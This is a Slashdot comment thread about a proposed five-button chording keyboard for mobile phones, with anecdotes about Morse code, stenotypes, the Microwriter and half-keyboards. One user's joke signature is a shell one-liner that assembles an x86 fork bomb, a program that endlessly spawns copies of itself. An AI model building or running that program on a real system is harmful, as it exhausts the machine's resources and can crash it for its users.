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Five Finger Keyboards
Tijaska writes "Mobile devices are becoming more capable all the time, but their small screens and keyboards limit their usefulness. This article shows ways in which five buttons located on the edges of a mobile could be used in combinations to generate 325 or many more different characters, making a full-sized keyboard unnecessary. If that sounds like a tall story, remember the case of the retired 93 year old telegraph operator who used a Morse key to send a text message faster than a teenager could send it via mobile phone (see here)."
This has "Adult Chat" written all over it.
Well, along the sides I guess.
I'm left handed you insensitive clods!
I've been using PDAs forever -- starting with my original Newton MessagePad (I do miss it). Over the years, I've become accustomed to the tiny on-screen keyboards with no tactile feedback. I grow my right hand thumbnail long, file it down so I have a bit of an edge leaning left, and I can type VERY fast with it -- probably faster than the average layperson on a regular PC keyboard.
As my friends slowly pick up PDA phones without "real" keyboards, they've also mimicked my thumbnail mod and found they can type incredibly fast, especially with the faster processor PDAs (HTC Trinity is what I use) which offer almost no delay when typing. Disable any sound response, and you can type even faster.
I'm sure that the iPhone will make huge leaps in efficiency, but I'm happy with where I am with the "old fashioned" touchscreen typing. I've blogged, read and written on slashdot, and posted to forums from my tiny 320x240 screen, all because of a simple thumbnail mod.
Try it -- it may save you quite a bit of time, and not cause you to have to learn some new fandangled invention.
I've been wanting to try one for a long time. Seems only natural to use more than one finger at a time.
This seems like a nice thought experiment. but really without trying it you can't tell anything. Why not do a mock up using 5 keys of a regular keyboard? Personally I'd have done the prototype and tried it before blogging about it!
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As a side benefit, you become a proficient player of the penny whistle.
Peter
This article was a fairly interesting journey into Shannon's world of Information Theory but, in my opinion, it is little more than an exercise in applying that kind of idea to user input devices on small electronics.
I understand the enumeration and recognize that it scales quite quickly per key. The reason I don't think this has been employed or will be employed is that people are not willing to take the time climb a learning curve--even if it would take them a few weeks of memorization and the time saved over their life will be huge. If that were the case, we'd all just use one button and our handhelds would interpret Morse code (see summary). The implementation discussed here is probably even more confusing than Morse code.
On my current phone, I have 9 buttons that I push and depress to cycle through different sections of the alphabet. How is this any different? It's four less buttons and a hell of a lot more memorizing, if you ask me.
My work here is dung.
I prefer the Twiddler. After some practice, it's actually pretty easy to use.
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- Douglas Adams
This is whole point of people texting "u" instead of "you". Instant 3:1 compression ratio. I could certainly hit the "u" button faster than any 93-year old morse coder could hit "..-" The only problem with texting is it's not streaming, you have to hit "send", whereas morse code streams.
These single hand keyboards are called chord keyboards and a pretty old idea. In fact Douglas Engelbart used on during the mother of all demos (first: windows, mouse, internet, video conferencing etc.)
I wanted one since I saw one for the first time in a computer magazine (the Octima, about 1984), but they never caught on. Some are available, mostly for disabled people, and they are very expensive. According to people who have worked with them it just takes just a couple of days to become fast on these ones, but you cannot become as fast as a very fast typist.
I guess this is the main problem: for starters they seem to be harder, since they cannot see the letters, for pro-typists/programmers they do not offer enough gain, unless they have RSI. Maybe mobile typing will finally be their breakthrough. Took only 30 years.
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I'm not saying he's wrong. Personally, I'd love to see this being implemented. QWERTY input isn't likely to be shunted aside until text-input keyboards become obsolete - it's well-established and it works well enough, and would require a hell of a lot of people to unlearn and relearn typing for a marginal increase in efficiency - but for other specialised applications there are always better ways. Just look at the stenotype used in courts, or the way SMS texting made use of the very limited resources that phones had back in the day. Very specific developments for very specific purposes.
My point is, this sort of idea is not new, and it's being discussed and ummed-and-aahed over in development labs even as we speak. Until someone with real inside knowledge writes about it, however, I'm really not interested in someone's inter-blag brain-fart.
Yeah, no kidding.Meta will eat itself
Who the heck will remember the order to hit and release keys? That's the sort of shit you take bagpipe lessons for!
Someday, I'll have a real sig.
So the author does some combinatorics regarding how many ways to press the 5 keys. But there is no mentioning how to hold the mobile in the hand while you are operating it. If you assume that you will press the keys with your fingertops then the mobile will be supported by the same keys that you use for input. But this is quite problematic since it means that the fingers give support to one another. Suggest e.g. that you want to press the four key cord of all fingers except your thumb. If the keyboard press resistance of the thumb key is lower than the sum of the other fingers' resistance then you will be pressing the thumb key instead. Perhaps you can strap the mobile to your hand, or hold it with your other hand... But it doesn't seem very comfortable. I would suggest using an optical sensor at the side of the mobile that catches finger gestures instead...
Come on... this is over 2 years old.. just look at the article date...
In the late 70's, someone was selling a "one-handed keyboard" that implemented the concept, albeit a bit differently. The user pressed a combination of 4 keys with fingers, and then completed the operation by choosing one of 8 buttons with the thumb. This yielded only 128 unique combinations, but I believe there was 9th "shift" key that was pressed separately to select the remainder of the typical character set.
Sounds like Cy Enfield's Microwriter keyboard - see http://en.wikipedia.org/wiki/Microwriter and http://en.wikipedia.org/wiki/Cy_Endfield
I suggest using the following five keys: compose meta shift control escape
\u262D = \u5350
Old news. I remember reading about this back in the early 80s when I had my ZX Spectrum.
As endorsed by Douglas Adams.
The Sharp Agenda had its "microwriter" chording keyboard.
http://www.geoff.org.uk/museum/microwriter.htm
Circa 1989, so patent worries should be minimal!
--- These are not words: wierd, genious, rediculous
I haven't heard the expression "Five Finger Discount" in a very long time so I'm wondering if the term might apply in this case. :)
... for almost all communications on the road. Why bother with five finger salutes?
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
We've been using these for years:
m ber=12
http://www.infogrip.com/product_view.asp?RecordNu
Had a clerk who was unable to type with both hands bring in one of her own. She did just fine in a demanding, fast paced environment (ER Patient Registration).
For what it's worth, I could never get the hang of it. Would certainly take some time to learn. Perhaps as much time (if not more) than learning an alternate full sized KB layout.
I wonder if there's a Morse-to-text keyboard driver for my phone? A lot of time is wasted looking to see what three keys my fat thumb is pressing this particular time. If I could just hammer away messages on one key, without needing to watch what I was typing, that would seem to be quicker...
This is an interesting concept, but I feel that a true standard will need to lend familiarity to the infamous qwerty keyboard.
The reason qwerty was adopted as a standard was not for efficiency, but because kingpin (at the time) IBM decided that when electronic buffers were introduced to typewriters and there was no longer a need to obscure keys on the keyboard in order to prevent mechanical jams, a keyboard layout they were currently producing would become the standard.
Since then, every typing class, every default layout and the vast majority of keyboards have been based upon the qwerty layout.
While some people on the bleeding edge of technology are willing to learn something new (I personally am proficient on Dvorak, Palm Graffiti, phone texting, and blackberry) A real standard of input will arise when the device is both similar to the qwerty equivalent and small enough to take along in your pocket. The average users are more willing to learn something slightly different than new altogether.
Well, back to rejecting software patent applications.
There are services for hearing impaired people, where they have operators watching TV and adding subtitles to the programs in real-time. (Obviously the subtitles will a few seconds behind the audio, but it's good enough to let you watch the news).
Those operators use chording keyboard (though with more than 5 keys), set up so that particular key chords map to common phrases. Typing this way is a lot faster than typing on a conventional keyboard, but it obviously is a lot of effort to learn.
So yes, it does work.
This is not new but has a steep learning curve. This is why court stenographers are costly and in high demand.
Call me crazy (or shirley), but isn't this what cellphones that don't use T9 do? How is that faster? Wouldn't some sort of T9 on a PDA work better? /logic
He clearly lays out a way around this problem - just have an identical row of buttons down each side, and when you turn the thing on, you quickly calibrate the keyboard so it knows which button to use for your thumb etc.
5 buttons huh. Where's the strummer and the whammy bar?
Add that and we'll talk.
Just as demonstrated with morse code, you can have inifinite combinations.. with just one key. It doesn't make it practical, since it's hard to develop an industry around *one* morse code typer with 80 years of experience.
It's easier to develop an industry around millions of teens who don't want to learn a lot to use their gadget properly.
since all the rage now is dynamically changing input device, ala iPhone, but we can't exactly forget tactile feedback, a mobile version of this comes to mind.
A two- or three-way foldable keyboard, either wired or wireless, would do the magics without the need to reinvent the wheel ... ehm ... the keyboard!
Maybe Computers will never be as intelligent as Humans.
For sure they won't ever become so stupid. [VR-1988]
Put an iambic paddle on that cell phone and bang out text messages faster than those whippersnappers :)
...
Morse or SMS?, a competition on the Late Show with Jay Leno.
A previous post argued the difference is that morse streams, while SMS is sent as a message, but I'd still bet even if you streamed SMS, or waited for complete sentances with morse, morse would win easily. Morse avoids the hunting and pecking, your finger and thumb is always on the key (or paddle)
These have been used for decades by stenographers. At least in Bulgaria.
But what about handicapped people? What if someone has 4 or even 3 fingers? How would they make up for this lack of digits?
Also, this method would seem to encourage people to use 6 fingers if they have them. That would be an interesting progression for us, as a race eh? Due to the usefulness, we evolved/grafted/added a mechanical 6th finger!
Just watch out for revenge bent young Spaniards tell you their name...
You want what? by when? Sorry we haven't finished the time travel project yet... that's next week.
Please Sir,
Tell me that Cordwainer Smith didn't beat you to the idea 50 years ago:
"He did not use his voice again. Instead he pulled his tablet up from where it hung against his chest. He wrote on it using the pointed fingernail of his right forefinger-the talking nail of a scanner - in quick cleancut script: Pls, drlng, whrs crnching wire..."
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
Yeah, keyboard shortcuts suck and no-one can remember them. That's why keys like Shift and Ctrl are so rarely used these days, particularly by experienced typists, and never in combination. :-)
Personally, I've always quite fancied trying one of these Datahand units, but obviously there's a high cost involved and quite a steep learning curve. I can well believe that when properly configured, it's much nicer for things that aren't simple typing jobs, such as programming, writing in mark-up languages like LaTeX, or playing games with complicated UIs.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Never memorize anything you can look up.
I didn't find the exact reference, but I remember he also said something about making as simple as possible, but not simplier.
How about if all the options of the menu were arranged in a circle around a central point, and the input device was one of those directional sensitive controllers. Then choosing a menu option would just be a matter of choosing the correct direction.
Vintage computer adverts: http://www.vintageadbrowser.com/computers-and-software-ads
remember the case of the retired 93 year old telegraph operator who used a Morse key to send a text message faster than a teenager could send it via mobile phone
So you're saying that if I make a career out of sending text messages, when I'm 93 I will be able to do it as fast as I can now with a keyboard?
Aah, change is good. -- Rafiki
Yeah, but it ain't easy. -- Simba
Do I get a discount?
What?
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And invented by Cy Endfield, the director of Zulu.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Interesting question, but on slashdot, you are required to post such complaints thusly:
I have only 3 fingers you insensitive clod!
Rockbox lets you use Morse code to enter text on an mp3 player, I tried it out on my iRiver and it's a surprisingly efficient interface. Learning Morse isn't really that hard, no harder than learning to touch type. And wow, a one (or two) button interface is very cool!
A house divided against itself cannot stand.
My dream would be to see half-keyboards with proper key travel implemented on phones, allowing one hand to type in the home position while the other hand has access to a press and hold toggle button on the side or rear of the device which changes between a mirrored-layout left and right hand sides of a full keyboard; i.e. p toggles with q, o with w etc.
I think this would be the best compromise with having to learn a new input and keeping decently-sized keys with travel on a phone.
There *are* one-handed Dvorak layouts, you know.
What you hear in the ear, preach from the rooftop Matthew 10.27b
The idea of a 5-finger chording keyboard is not new. It features the same advantages to data input that shorthand offers writing.
The problem with the chording keyboard is the same as the problem with shorthand: its hard to learn and virtually useless until you've learned it well. A regular keyboard is as useful to a novice who visually hunts for each key as it is to a touch-typeist who never looks at the keyboard. The chording keyboard is thoroughly opaque to the novice and no one has found a way to make it useable without instruction.
Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
http://www.inference.phy.cam.ac.uk/dasher/
This is a '2D' typing system i.e. workable with a mouse or equivalent - could well be quicker with fingers.
I got up to about 15 wpm with minimal practice. Apparently you can get 30 wpm with a bit more. I reckon it could also be tweaked if additional keys were available for certain very common words, and if the underlying probability model was trained to your personal habits.
More crazily, a phone or similar with acceleration detection could also incorporate whole-phone movements. So you might write a word with Dasher (or whatever), and then flick your wrist to the right for a space, left for a comma, away from you for a full stop, down for a carriage return, etc. Or you could make a system like Monkeyball on the Wii, where Dasher works with a pseudo-physical simulation of a ball on the screen, which you 'roll' to select letters and words (sorry, not very clearly explained if you've not used Dasher and played Monkeyball - an elite minority!).
Archaic thinking, solving a problem in a cumbersome way that has already be solved more elegantly. With the iPhone showing the way, software keyboards are coming and will only get better. The limitations of mechanical buttons, poor touch screens, and tiny screens are almost behind us. Why press five keys playing "Twister" with you keyboard when a simple software UI can give you all the buttons you need--and can be updated/changed via a download? If the rest of the mobile phone dinosaurs would catch up with Apple that is.
But I thought it should be on a mouse. If you had two 5 button mice you would be able to use two pointing devices (which could be useful in 3D modelling for instance) and have access to all the required keys. I never considered click order, and I'm not sure if that's a good idea or not.
Learning to use a system like that would be more difficult, but given how much time I spend in front of a computer it would probably be worth the efficiency boost.
AFAIK this idea has not been implemented with 5-7 finger chorded keyboards. I researched it when designing a 5 finger chording keyboard layout (most frequent letters below each finger). The problem with these alternative one handed keyboards is that you can type a lot faster on a normal keyboard as you can use both hands. So this would great for wearable setups where using a normal keyboard can be impractical. But for wearable keyboard input speed both Matias HalfKeyboard (patented) and Frogpad (patented) are faster. If you use the increased address space with this method combined with a 5 finger chorded keyboard one for example could assign the top 300 english words and you might beat the previous two in typing speed. In the meantime I'll just use two split mini dvorak keyboards for my left and right hand while on the go.
http://easyweb.easynet.co.uk/~len/boog/gifs/ag500. jpg
It used a chord keyboard exactly like the one outlined, although it was burdened with alphabet keys also because they wanted to appeal to everybody. I seem to remember hitting 30 WPM on this thing without any kind of predictive text input. Really good kit.
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dotdotdotdot ditdotdot dotditdit dotdot dotdotdot dit dotdotdotdot dotdot dotdotdot ditdot dot dotditdit dotdotdot STOP
If you could read Morse Code, you wouldn't have to look it up.
The game.
in the 70s, I remember adds for some handheld device, i think it was a dictaphone or something liketht, that had a five finger keyboard with shortcuts for some letters.
I'll bet for the history of keyboard devices - going back to the 1st typewriters in the 1800s if not earlier, there has been acontinual alternate universe of handheld devices with one hand keypads.
I'll bet there is even a book about it !!
like IM reinventing what morse code and telegraph users did 100 years ago
How about voice-recognition software? All you would have to do is talk into the microphone? What about software on the receiving end of the transmission that could convert the text into audio, so you wouldn't even have to bother reading the text? Maybe someday, this coding/decoding could be done so fast, as to happen in real-time, so like, I could talk, and the person on the other end could hear what I am saying, and then give an instant reply? And if they weren't available to give an instant reply, maybe my text message could somehow be, you know, like, saved in that audio format, so that when they do become available, they could listen to it at their leisure, and then text me back whenever they can. Wow, that'd be the shit!! Sigh . . . maybe someday. I guess my thinking is just light-years ahead of everyone else's.
On a more serious note, do we even really need text messaging? Isn't it a novelty for 13 year olds?
I once considered buying a used stenotyping machine--it was on sale for $15 IIRC. It was in working condition. I could press combination any combination of keys I liked, all at the same time, and it would enter them all together in a horizontal row across a piece of something like adding-machine tape, then advance the tape to the next line. The ribbon even had ink and everything. It was just so cool I was tempted, just for the joy of possessing one.
The stenotype machine was, invented in 1830, still in production, and still in use by court reporters who can attain up to 300 wpm with it. In contrast, the record sustained typing speed for a Dvorak typist is 150 wpm.
The fact that stenotype machines have been around for well over a century and that nobody but court reporters use them... and that when Doug Engelbart and his group invented the mouse, it was only intended to be used only in conjunction with a chording keyboard... and the fact that most modern keyboards actually allow a form of chording (shift, control, alt, and a letter) but there are no common hacks to use this to increase typing speed... strongly suggest to me that the learning/benefit ratio is way too low for any scheme of this kind to be adopted.
If I recall correctly there was a glove-like chording keyboard marketed a few years ago, whose designers had even devised a clever chording scheme in which the fingers you used sorta-kinda had a relationship to the shape of the letter, and a number of reviewers praised it and said they were able to achieve facility with it in a week or so. It obviously didn't take the world by storm.
"How to Do Nothing," kids activities, back in print!
"The individual experienced the problem, analyzed solutions and adapted his body to use his computer more efficiently"
I hate to see how he adapts to the joystick.
Here are some of the the problems:
just a ghost in the machine.
Scanners Live in Vain. Classic stuff.
If a job's not worth doing, it's not worth doing right.
This type of plan to use limeted buttons to generate full keyboard capability has been around since at leat 1978, when a device called "The WriteHander" made the cover of a popular PC magazine. I've seen a number of similar devices, and I'm frankly puzzeld as to why they aren't more prevalent. Surely there are handicapped people who could benefit from this. I like the idea of a one-device mouse/input device attached to a computer.
"The mind works quicker than you think!"
This concept is certainly not new. Known as a BAT Keyboard or a similar Chorded Keyboard, in the 1970's there was a commercial product out, that looked like a half sphere with 7 buttons on it. You laid your hand over it and there were one button for each of the fingers, and three for the thumb. It was made to interface to a variety of computers. Today, there's a PC version of it here: http://www.maxiaids.com/store/prodView.asp?utm_sou rce=Froogle&utm_medium=organic&utm_campaign=Froogl e&idAff=15225&idproduct=2031
Here's a wiki for one from the 1980's http://en.wikipedia.org/wiki/Chord_keyset
I'm just wondering if this is such a cool concept for PDA's today, why don't we go one teensy weensy step further and have an electrode you clip to your ear (or temple or wherever) and the PDA just understands what you want?
~lum
"And I am never wrong"
;)
you missed the sarcasm is the previous post
The new MSV alpha
bah, i have to spell out the dots and dashes to avoid the "lameness filter"
dot dash dash dot dot dash dash dash dot dot dash dot dot
dash dot dot dot dash dash dot dot dot
"Action without philosophy is a lethal weapon; philosophy without action is worthless."
..on devices running Microsoft Windows Mobile, all you really need is three keys.
Worst. Signature. Ever.
I've one of the very old USB Half-keyboards. http://www.matias.ca/halfkeyboard/index.php They're a bit pricey for the size but all the alternate keyboard seem to be more than a $22 QWERTY you can get at the office store. I found it easy to pick up having two letters per key. The tapping a modifier key to get number and the function keys takes more concentration and the keyboard manual. It's been something I use when irc chatting while laying on the couch.
"I got it all together but I forgot where I put it."
In my day, I could input alpha COBOL, two fingered, to a manual 80-col card keypunch (is that a chord keyboard?) as fast as I could think it. Any mistakes, you stuck a confetti back in the hole with polystyrene glue. Then swan off home and leave them to compile it all night with nothing but magtapes for memory. Wouldn't compile? - more glue tomorrow.
This is really cool. I have been working on a prototype for a 5 key keyboard for mobile devices for quite some time now. What I have found is that when you are gripping the device with your fingers, you cant really let go with all fingers at the same time. The trick is to measure "depressed" keys instead! It works really nicely. Happy sad!
I guess we all now know how Fab Five Freddy got his name?
Inane Comments are Generously Disregarded
I got this idea once a long time ago, though I was not aware it was already being used.
The idea was to make a keyboard that essentially looked like a 7-bar LED display (with a couple odd keys strategically placed) so that to press a "P" for example, you'd press all the bars that would visually make a letter P. I couldn't imagine any way to make touch-typing any easier than that. The planned layout was small enough that with both hands you could cover all the keys.
(-I never built one, but thought it was a nice idea-)
If you only have one input device your fingers might tend to get tied up, but my interest was for a desktop/laptop kepboard, and I planned on having two identical input keyboards, one for left and one for right hands. As long as you pressed any combination of all the necessary buttons for a letter "P" on both keyboards (within some set amount of time), that's what you'd get. Separate buttons would handle shifting and special characters and whatnot.
The reason that regular stenotype chording is hard is because the buttons pressed have no relation to what they represent, one has to remember that.
The reason QUERTY or Dvorak is no help is because a person still has to know where the letter "P" is on the keyboard, and they can't do well at all until they learn that.
Ultimately we should reduce input devices to all the complexity of a pencil; we shouldn't be making children take typing classes in school and they shouldn't need to take them if they already know the alphabet. When all we had was mechanical typewriters it was necessary to learn, but those days are long gone now. The day of practical desktop voice recognition is already here and conventional typing skills have already lost their value in most first-world countries.
It's time to start moving away from the conventional keyboard, it's not solving problems anymore.
~
A good court-reporter can "write" on a stenomachine at more than 240 WPM. Yes that is word per minute.
The only down side is it takes years to learn how to write well.
Yeah, that and the need to buy a $5000 keyboard.
Somebody make a $200 USB-HID-class version and let me know where to send the payment!
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
It's not that bad
I coded a windows tool to emulate the half-keyboard behaviour... and it's completely unreleaseable because Matias defend their patents for it. :( It's fun to play with however. Just have to finish sawing a keyboard in half and I can fit kb and mouse next to each other on the ridiculously narrow keyboard tray of my desk. :D